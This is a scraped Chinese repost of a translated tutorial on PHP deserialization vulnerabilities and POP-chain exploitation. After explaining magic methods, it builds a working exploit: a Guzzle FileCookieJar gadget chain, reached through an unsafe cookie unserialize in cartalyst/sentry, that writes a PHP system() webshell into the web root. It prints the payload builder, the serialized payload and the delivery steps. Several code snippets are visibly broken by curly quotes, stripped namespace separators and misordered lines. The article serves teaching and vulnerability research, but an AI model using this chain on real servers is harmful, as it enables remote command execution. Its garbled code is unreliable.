1. 程式人生 > >ref:PHP反序列化漏洞成因及漏洞挖掘技巧與案例

ref:PHP反序列化漏洞成因及漏洞挖掘技巧與案例

tmp 問題 文章 extend === 代碼 簡單的 ted IE

ref:https://www.anquanke.com/post/id/84922

PHP反序列化漏洞成因及漏洞挖掘技巧與案例

一、序列化和反序列化

序列化和反序列化的目的是使得程序間傳輸對象會更加方便。序列化是將對象轉換為字符串以便存儲傳輸的一種方式。而反序列化恰好就是序列化的逆過程,反序列化會將字符串轉換為對象供程序使用。在PHP中序列化和反序列化對應的函數分別為serialize()和unserialize()。反序列化本身並不危險,但是如果反序列化時,傳入反序列化函數的參數可以被用戶控制那將會是一件非常危險的事情。不安全的進行反序列化造成的危害只有你想不到,沒有他做不到,是的,沒錯。

序列化和反序列化的原理已經有很多文章了,這裏就不贅述了。PHP的類有很多的 ‘魔術方法‘ ,比如:

__construct(), __destruct()
__call(), __callStatic()
__get(), __set()
__isset(), __unset()
__sleep(), __wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()
魔術方法是PHP面向對象中特有的特性。它們在特定的情況下被觸發,都是以雙下劃線開頭,你可以把它們理解為鉤子,利用模式方法可以輕松實現PHP面向對象中重載(Overloading即動態創建類屬性和方法)。
問題就出現在重載過程中,執行了相關代碼。

這麽多的魔術方法中我們所需要關註的方法也就是__destruct() 和 __wakeup() 方法.這兩個方法中前者是在對象被銷毀時程序會自動調用,後者是在類對象被反序列化時被調用.所以這兩個方法是在 對象反序列化一直到程序執行完畢這整個過程中,必定會被調用的方法,如果在這兩個函數中有一些危險的動作,並且能夠被我們所利用,那麽漏洞並出現了。

二、反序列漏洞的利用思路

理論

在反序列化中,我們所能控制的數據就是對象中的各個屬性值,所以在PHP的反序列化有一種漏洞利用方法叫做 "面向屬性編程" ,即 POP( Property Oriented Programming)。和二進制漏洞中常用的ROP技術類似。在ROP中我們往往需要一段初始化gadgets來開始我們的整個利用過程,然後繼續調用其他gadgets。在PHP反序列化漏洞利用技術POP中,對應的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情況下能夠實現漏洞利用的點就在這兩個函數中,但往往我們需要從這個函數開始,逐步的跟進在這個函數中調用到的所有函數,直至找到可以利用的點為止。下面列舉些在跟進其函數調用過程中需要關註一些很有價值的函數。

技術分享圖片

如果在跟進程序過程中發現這些函數就要打起精神,一旦這些函數的參數我們能夠控制,就有可能出現高危漏洞.

Demo

所使用的代碼。

DemoPopChain.php

<?php
    class DemoPopChain{
    private $data = “barn”;
    private $filename = ‘/tmp/foo’;
    public function __wakeup(){
        $this->save($this->filename);
    }
        public function save($filename){
        file_put_contents($filename, $this->data);
    }
?>

unserialize.php

<?php
        require(‘./DemoPopChain.php’);
        unserialize(file_get_contents(‘./serialized.txt));
?>

這是一個很簡單的具有反序列漏洞的代碼,程序從serialized.txt文件中讀取需要進行反序列化的字符串。這個我們可控。同時該文件還定義了一個 DemoPopChain 類,並且該類實現了 __wakeup 函數,然後在該函數中,又調用了save函數,其參數為 類對象的filename屬性值,然後在 save函數中調用了 file_put_contents 函數,該函數的兩個參數分別為從save函數中傳下來的 filename屬性值 和 該對象的data屬性值。又由於在反序列化的過程中被反序列化的對象的屬性值是我們可控的,於是我們就通過對函數的嵌套調用和對象屬性值的使用得到了一個 任意文件寫入任意內容的漏洞.這就是所謂的POP。就是關註整個函數的調用過程中參數的傳遞情況,找到可利用的點,這和一般的Web漏洞沒什麽區別,只是可控制的值有直接傳遞給程序的參數轉變為了 對象中的屬性值。

三、現實中查找反序列化漏洞及構造exploit的方法

前置知識

PHP的 unserialize() 函數只能反序列化在當前程序上下文中已經被定義過的類.在傳統的PHP中你需要通過使用一大串的include() 或者 require()來包含所需的類定義文件。於是後來出現了 autoloading 技術,他可以自動導入需要使用的類,再也不需要程序員不斷地復制粘貼 那些include代碼了。這種技術同時也方便了我們的漏洞利用.因為在我們找到一個反序列化點的時候我們所能使用的類就多了,那麽實現漏洞利用的可能性也就更加高。

還有一個東西要提一下,那就是Composer,這是一個php的包管理工具,同時他還能自動導入所以依賴庫中定義的類。這樣一來 unserialize() 函數也就能使用所有依賴庫中的類了,攻擊面又增大不少。

1.Composer配置的依賴庫存儲在vendor目錄下

2.如果要使用Composer的自動類加載機制,只需要在php文件的開頭加上 require __DIR__ . ‘/vendor/autoload.php‘;

漏洞發現技巧

默認情況下 Composer 會從 Packagist下載包,那麽我們可以通過審計這些包來找到可利用的 POP鏈。

找PHP鏈的基本思路.

1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函數.

2.追蹤調用過程

3.手工構造 並驗證 POP 鏈

4.開發一個應用使用該庫和自動加載機制,來測試exploit.

構造exploit的思路

1.尋找可能存在漏洞的應用

2.在他所使用的庫中尋找 POP gadgets

3.在虛擬機中安裝這些庫,將找到的POP鏈對象序列化,在反序列化測試payload

4.將序列化之後的payload發送到有漏洞web應用中進行測試.

Example

1. 尋找可能存在漏洞的應用: cartalyst/sentry

漏洞代碼: /src/Cartalyst/Sentry/Cookies/NativeCookie.php

     ...
  public function getCookie()
  {
     ...
     return unserialize($_COOKIE[$this->getKey()]);
     ...
  }
}

這裏從 cookie中獲取了值,然後直接將他序列化.

2.程序使用的庫中的POP Gadgets: guzzlehttp/guzzle

找Gadgets的最好的一個地方就是composer.json文件,他寫明了程序需要使用的庫.

  {
    "require": {
    "cartalyst/sentry": "2.1.5",
    "illuminate/database": "4.0.*",
    "guzzlehttp/guzzle": "6.0.2",
    "swiftmailer/swiftmailer": "5.4.1"
  }
}

a.從git repo下載這些庫

b.在其中搜索__wakeup() 和 __destruct() 函數

/guzzle/src/Cookie/FileCookieJar.php

namespace GuzzleHttpCookie;
class FileCookieJar extends CookieJar
  ...
  public function __destruct()
  {
    $this->save($this->filename);
  }
  ...

這裏使用類對象的filename屬性值作為參數傳入了save函數.我們來看看save函數具體實現.

FileCookieJar->save()

public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
  /** @var SetCookie $cookie */
  if ($cookie->getExpires() && !$cookie->getDiscard()) {
    $json[] = $cookie->toArray();
  }
 }
if (false === file_put_contents($filename, json_encode($json))) {
    throw new RuntimeException("Unable to save file {$filename}");
  }
}

可以看到我們傳入的參數最後是直接被作為要寫入內容的文件的文件名.這下文件名可控了,如果我們再能夠控制文件的內容就能實現getshell了.通過代碼可以發現文件的內容為上面一層循環中來得到的數組經過json編碼後得到的.而數組中的內容為 $cookie->toArray() ,那麽我們得去找到 $cookie對象是在哪定義的來確定他返回的值是什麽,以及是否可利用.還有一點,我們還需要過掉那個判斷才能給 json 數組賦值.所以我們需要關註的有三個點.

$cookie->getExpires()
!$cookie->getDiscard()
$json[] = $cookie->toArray()

我們並不知道$cookie 具體是什麽類,我們可以通過搜索函數名,來定位這個類.通過這樣定位到了SetCookie類.其代碼如下.

namespace GuzzleHttpCookie;
class SetCookie
    ...
    public function toArray(){
       return $this->data;
    }
    ...
    public function getExpires(){
        return $this->data[‘Expires‘];
    }
    ...
    public function getDiscard(){
        return $this->data[‘Discard‘];
    }

可以看到那三個方法只是簡單的返回了data數組的特定鍵值.

3.搭建環境進行poc測試

首先在虛擬機裏創建這樣一個composer.json文件來安裝提供POP gadgets的庫.

{
    "require": {
        "guzzlehttp/guzzle": "6.0.2"
    }
}

之後使用這個文件安裝庫

技術分享圖片

然後使用這個庫,來構造反序列化的payload

<?php
    require __DIR__ . ‘/vendor/autoload.php‘;
    use GuzzleHttpCookieFileCookieJar;
    use GuzzleHttpCookieSetCookie;
    $obj = new FileCookieJar(‘/var/www/html/shell.php‘);
    $payload = ‘<?php echo system($_POST[‘poc‘]); ?>‘;
    $obj->setCookie(new SetCookie([
        ‘Name‘ => ‘foo‘, ‘Value‘
        ‘Domain‘ => $payload,
        => ‘bar‘,
        ‘Expires‘ => time()]));
    file_put_contents(‘./built_payload_poc‘, serialize($obj));

運行這個文件得到payload

# php build_payload.php
# cat built_payload_poc
O:31:"GuzzleHttpCookieFileCookieJar":3:{s:41:"GuzzleHttpCookieFileCookieJarfilename";s:23:"/var/www/html/shell.php";s:36:"GuzzleHttpCookieCookieJarcookies";a:1:{i:1;O:27:"GuzzleHttpCookieSetCookie":1:{s:33:"GuzzleHttpCookieSetCookiedata";a:9:{s:4:"Name";s:3:"foo";s:5:"Value";s:3:"bar";s:6:"Domain";s:36:"<?php echo system($_POST[‘poc‘]);?>";s:4:"Path";s:1:"/";s:7:"Max-Age";N;s:7:"Expires";i:1450225029;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;}}}s:39:"GuzzleHttpCookieCookieJarstrictMode";N;}

現在payload已經生成,我們在創建一個文件來測試這個payload的結果.

<?php
    require __DIR__ . ‘/vendor/autoload.php‘;
    unserialize(file_get_contents("./built_payload_poc"));

這個文件的內容很簡單,就是把我們剛剛生成的payload反序列化.來看看效果

技術分享圖片

成功寫入一個shell.

4.尋找使用了這個漏洞庫並且有反序列化操作的程序這裏是cartalyst/sentry,然後拿POC去打就好.

演示:

首先網站目錄沒有shell.php文件

技術分享圖片

讓我們將cartalyst_sentry的cookie值設為經過url編碼的反序列化payload,然後發送到應用中去.

技術分享圖片

現在shell.php已經出現了

技術分享圖片

本文翻譯自 insomniasec, 原文鏈接 。如若轉載請註明出處。

ref:PHP反序列化漏洞成因及漏洞挖掘技巧與案例